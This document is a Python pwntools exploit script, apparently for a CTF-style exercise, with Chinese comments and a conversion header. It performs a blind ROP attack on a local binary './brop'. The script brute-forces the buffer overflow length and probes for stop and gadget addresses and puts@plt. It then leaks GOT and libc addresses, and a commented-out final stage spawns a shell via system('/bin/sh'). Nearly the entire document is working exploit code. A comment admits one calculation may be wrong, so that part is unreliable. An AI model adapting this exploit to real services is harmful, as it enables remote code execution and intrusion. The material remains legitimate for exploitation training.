exp
复制本地路径 | 在线编辑
原始文件为 .py 代码,本文是转换后的 Markdown 文件。
from pwn import *
def getbufferflow_length():
i = 1
while 1:
try:
sh = process('./brop')
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
print(output)
if not output.startswith(b'No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
def check_stop_gadget(length, addr):
try:
sh = process('./brop')
sh.recvuntil('password?\n')
payload = b'a' * length + p64(addr) + b'a' * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return content.startswith(b'WelCome')
except Exception:
sh.close()
return False
def check_brop_gadget(length, stop_gadget, addr):
try:
sh = process('./brop')
sh.recvuntil('password?\n')
payload = b'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*8
sh.sendline(payload)
content = sh.recv(timeout=1)
sh.close()
if not content.startswith(b'WelCome'):
return False
return (not check_stop_gadget(length, addr))
except Exception as e:
sh.close()
return False
def check_puts_plt(length, rdi_ret, addr):
try:
sh = process('./brop')
sh.recvuntil('password?\n')
payload = b'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + b'a' * 8
sh.sendline(payload)
content = sh.recv(timeout=1)
sh.close()
return (content.startswith(b'\x7fELF'))
except Exception:
sh.close()
return False
def gets_puts_got(length, rdi_ret, puts_plt):
sh = process('./brop')
sh.recvuntil('password?\n')
payload = b'A' * length + p64(rdi_ret) + p64(puts_plt) + p64(puts_plt) + b'a' * 8
sh.sendline(payload)
content = sh.recv(timeout=1)
sh.close()
# 这里需要写一下说明,可能还不太对
jmp_addr = ( u64(content[2:5].ljust(8, b'\x00')) )
print(disasm(content, arch='amd64'))
return puts_plt + 0x6 + jmp_addr
def gets_puts_addr(length, rdi_ret, puts_plt, puts_got):
sh = process('./brop')
sh.recvuntil('password?\n')
payload = b'A' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + b'a' * 8
sh.sendline(payload)
content = sh.recv(timeout=1)
sh.close()
return u64(content.ljust(8, b'\x00'))
# bufferflow_len = getbufferflow_length()
bufferflow_len = 72
# stop_addr = 0x400500 - 1
# while True:
# stop_addr += 1
# print(hex(stop_addr))
# if check_stop_gadget(bufferflow_len, stop_addr):
# break
stop_addr = 0x4005d0
# brop_addr = 0x400700 - 1
# while True:
# brop_addr += 1
# print(hex(brop_addr))
# if check_brop_gadget(bufferflow_len, stop_addr, brop_addr):
# break
brop_addr = 0x4007ba
rdi_ret = brop_addr + 9
# 这里以 0x10 为步长来遍历,因为 plt 最后一个字节一定是 0
# puts_plt = 0x400000 - 0x10
# while True:
# puts_plt += 0x10
# print(hex(puts_plt))
# if check_puts_plt(bufferflow_len, rdi_ret, puts_plt):
# break
puts_plt = 0x400570
# 这里需要写一下说明,可能还不太对
puts_got = gets_puts_got(bufferflow_len, rdi_ret, puts_plt)
puts_addr = gets_puts_addr(bufferflow_len, rdi_ret, puts_plt, puts_got)
# libc = LibcSearcher('puts', puts_addr)
# libc_base = puts_addr - libc.dump('puts')
# system_addr = libc_base + libc.dump('system')
# binsh_addr = libc_base + libc.dump('str_bin_sh')
# payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
# system_addr) + p64(stop_gadget)
# sh.sendline(payload)
# sh.interactive()